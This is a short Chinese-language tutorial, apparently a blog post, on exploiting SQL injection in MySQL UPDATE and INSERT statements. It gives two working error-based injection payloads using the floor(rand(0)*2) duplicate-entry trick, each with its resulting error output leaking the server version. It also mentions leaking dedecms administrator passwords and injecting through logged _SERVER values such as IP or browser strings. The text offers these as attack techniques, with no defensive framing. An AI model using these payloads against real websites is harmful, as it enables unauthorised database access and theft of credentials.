以MySQL為例,有時候運氣好的話update類型的SQL注射可以直接將我們需要的內容更新到我們可見的字段里.這樣比較方便,比如這篇文章提到的dedecms的注射爆管理員密碼的漏洞,期間我還傻傻的寫了個小程序盲注來著,后來發現沒必要,可以直接把密碼字段的內容放到用戶名里顯示出來.有時候運氣不好,那個字段內容顯示不出來的話,恰巧能輸出mysql錯誤信息,也可以利用報錯注射.
update 類型爆錯注入
update web_ids set host=' www.2cto.com ' where id =1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (version())),1,62)))a from information_schema.tables group by a)b);
ERROR 1062 (23000): Duplicate entry ’15.1.41-3ubuntu12.10‘ for key ‘group_key’
insert 類型報錯盲注
有的比較猥瑣的網站會記錄訪問者的ip地址,瀏覽器信息等等到數據庫里,
有些_SERVER變量不受魔術引號控制,或者我們可以覆蓋_SERVER變量的話,這類漏洞就可能發生.
但是一般情況下數據只會才后臺顯示,不會在前臺顯示出來
這類漏洞運氣好的話,也可以報錯注射,運氣不好的話就延時盲注猜解吧.
insert into web_ids(host) values((select (1) from mysql.user where 1=1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (version())),1,62)))a from information_schema.tables group by a)b)));
ERROR 1062 (23000): Duplicate entry ’15.1.41-3ubuntu12.10‘ for key ‘group_key’